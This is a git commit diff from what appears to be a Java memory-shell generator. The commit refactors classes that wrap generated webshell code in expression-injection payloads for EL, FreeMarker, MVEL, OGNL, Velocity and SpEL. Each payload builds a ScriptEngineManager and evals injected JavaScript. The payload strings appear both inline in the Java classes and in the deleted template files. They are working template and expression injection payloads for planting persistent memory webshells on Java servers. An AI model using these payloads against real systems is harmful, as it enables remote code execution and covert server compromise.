refactor: simplify expression packer

This commit is contained in:
ReaJason
2025-01-29 19:58:02 +08:00
parent 786e58cafc
commit 828b7b8400
11 changed files with 11 additions and 57 deletions
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.el;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13
*/
public class ELPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public ELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.freemarker;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13
*/
public class FreemarkerPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public FreemarkerPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
String template = "${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -15,15 +15,7 @@ import java.util.Objects;
* @since 2025/1/29
*/
public class MVELPacker implements Packer {
String template = "";
public MVELPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/MVELScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
@@ -14,15 +14,7 @@ import java.util.Objects;
* @since 2024/12/14
*/
public class OGNLPacker implements Packer {
String template = "";
public OGNLPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OGNLScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
String template = "(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.packer.velocity;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
import org.apache.commons.io.IOUtils;
@@ -14,20 +15,11 @@ import java.util.Objects;
* @since 2024/12/13
*/
public class VelocityPacker implements Packer {
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
String template = "";
public VelocityPacker() {
try {
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
} catch (IOException ignored) {
}
}
String template = "#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')";
@Override
public String pack(GenerateResult generateResult) {
String script = scriptEnginePacker.pack(generateResult);
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
return template.replace("{{script}}", script);
}
}
@@ -1 +0,0 @@
"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
@@ -1 +0,0 @@
new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
@@ -1 +0,0 @@
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
@@ -1 +0,0 @@
#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')